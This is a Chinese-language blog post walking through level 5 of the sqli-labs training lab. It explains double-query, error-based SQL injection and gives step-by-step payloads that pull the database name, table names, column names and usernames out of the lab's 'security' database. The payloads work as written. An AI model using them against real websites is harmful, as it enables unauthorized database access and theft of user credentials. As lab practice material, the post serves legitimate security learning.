sql-labs第五关

文章目录


第5关用前面的id=1时页面只会显示一个you are in…
不会显示其他结果,没见过于是上网百度,发现用的是报错注入或者是双查询,通过关卡信息可以知道这一关用的是双查询的思路来解题
什么是双查询呢?
例如: select concat((select database()));
这个语句,先执行内部的再执行外面的。也就是说先执行一下select database(),然后再执行外面的这块儿。
双查询的原理:
简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
函数说明:

rand()是一个生成随机数的函数,他会返回0到1之间到一个值。
floor()是取整函数了,
count()是一个聚合函数,用户返回符合条件的记录数量
group by语句:也就是给你查询出来的结果分组;

输入

`?id=1' and 1= 1 -- -`

在这里插入图片描述
显示的只有一个you are in…
输入

`?id=1' and 1=2 -- -`

没有任何回显
获取字段数
输入语句

`?id=1' order by 5 -- -`

在这里插入图片描述
输入

`?id=1' order by 3 -- -`

在这里插入图片描述
所以字段数为3
这是想要获取数据库名就需要用到双注入
双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式。 那么开始构建sql语句
输入

`?id=1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a -- -`

得到数据库名security
在这里插入图片描述
输入

`?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),"==",floor(rand()*2))as a from information_schema.schemata group by a --+

获取表名
在这里插入图片描述

这里只能一个一个的爆需要把 limit 后面变成(1,1)(2,1)(3,1)依次爆表名
查询表列数

`?id=0' union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='security' and table_name="users"),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+`

在这里插入图片描述

然后通过limit查询列名

?id=0' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+

在这里插入图片描述

改变limit的变量把其他列名也爆出来
最后爆字段

?id=1' union select 1, count(*), concat((select username from users limit 0,1), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+

在这里插入图片描述

这里是查了第一个username,而password的查法一样,改一下字段名就可以了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值